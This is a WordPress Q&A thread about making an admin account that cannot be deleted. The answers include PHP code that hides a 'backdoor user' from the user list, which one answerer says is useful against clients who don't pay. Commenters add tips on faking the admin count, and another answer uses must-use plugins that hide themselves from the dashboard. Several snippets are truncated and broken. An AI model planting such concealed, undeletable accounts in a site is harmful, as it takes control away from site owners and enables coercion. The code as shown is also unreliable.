How can I add a Wordpress user that can't be deleted (at all cost, not even by a superadmin) with some code? I can't find anything on Google about such a god-account.

This morning a client of our company deleted the main-admin account and deleted all of the websites content. We were able to restore the website with a backup, but i would like to prevent this problem in the future.


While you can't guarantee the absolute safety of this user, I have used this to hide my backdoor user (useful for clients who are aggressive in removing users, yet may forget to pay their bill, for example)

function sleeper_pre_user_query($user_search) {
    global $current_user;
    $username = $current_user->user_login;

    if ($username != 'my_secret_admin_user') { 
        global $wpdb;
        $user_search->query_where = 
            'WHERE 1=1', 
            "WHERE 1=1 AND {$wpdb->users}.user_login !=

I'd name the function something mundane sounding, might want your user to be mundane as well. The code prevents any other user from seeing that user in the admin list.

  • I like your way of thinking! I'm going to test this little "hack" and let you know if it's working like you stated.
    – Cas
    Sep 12 '13 at 13:36
  • 1
    Hoping that evil user doesn't have MySQL or FTP access ;) +1
    – gmazzap
    Sep 12 '13 at 13:42
  • 4
    +1 Maybe you should also try to lower the user count in Administrator (2), it might look suspicious to have only 1 visible but the count says 2 ;-)
    – birgire
    Sep 12 '13 at 13:46
  • 1
    A Must Use plugin can be used to hide other plugins (and itself). @CasvanDongen
    – brasofilo
    Sep 12 '13 at 15:31

There doesn't seem to be a way to interrupt deletion process in wp_delete_user() function, which performs it. However in runtime WordPress runs (naturally) capability check before deletion:

if ( ! current_user_can( 'delete_user', $id ) )
        wp_die(__( 'You can’t delete that user.' ) );

It passes $id of user being deleted, so you should be able to target it in one of the filters dealing with caps, probably around user_has_cap or map_meta_cap (I hadn't done anything there in a while so can't come up with precise code on top of my head).


As @toscho stated in the comment. A non-deletable user isn't possible. What I personally use is a SysBot script that I host on GitHub as Gist. The use case for me normally is to map posts that I generate from remote sources to a user when the incoming remote data doesn't contain anything that I could map to an existing user.

You could go one step further and

  • Redirect whenever this users profile page is requested
  • Remove links to the users profile using the post type columns filters in list tables
  • Alter the Quick Edit links to prevent deleting this user

If the user still gets deleted once, it will instantly be recreated during page load. The same goes for altering his basic user information.


The hook load-$pagenow can be used too. Putting it in a Must Use plugin prevents its de-activation. And adding a simple filter, we can hide the MUs from appearing in the dashboard (here, a more detailed technique).

    Plugin Name: Cannot delete user
    Description: Blocks the deletion of the user with ID == (adjust bellow)
    Author: brasofilo
    Plugin URI: https://wordpress.stackexchange.com/q/113907/12615
    Requires: PHP 5.3+
add_filter( 'show_advanced_plugins', '__return_false' );

add_action( 'load-users.php', function() 
    # Not a delete screen, do nothing
    if( !isset( $_REQUEST['action'] ) || 'delete' != $_REQUEST['action'] )

    # User(s) not set, do nothing
    if( !isset( $_REQUEST['user'] ) && !isset( $_REQUEST['users'] ) )

    # Single user - adjust ID
    if( isset( $_REQUEST['user'] ) && 'USER_ID' == $_REQUEST['user'] )
            'Cannot delete this user.', 
            array( 'response' => 500, 'back_link' => true )

    # Bulk users - adjust ID
    if( isset( $_REQUEST['users'] ) && in_array( 'USER_ID', $_REQUEST['users'] ) )
            'Cannot delete this user.', 
            array( 'response' => 500, 'back_link' => true )

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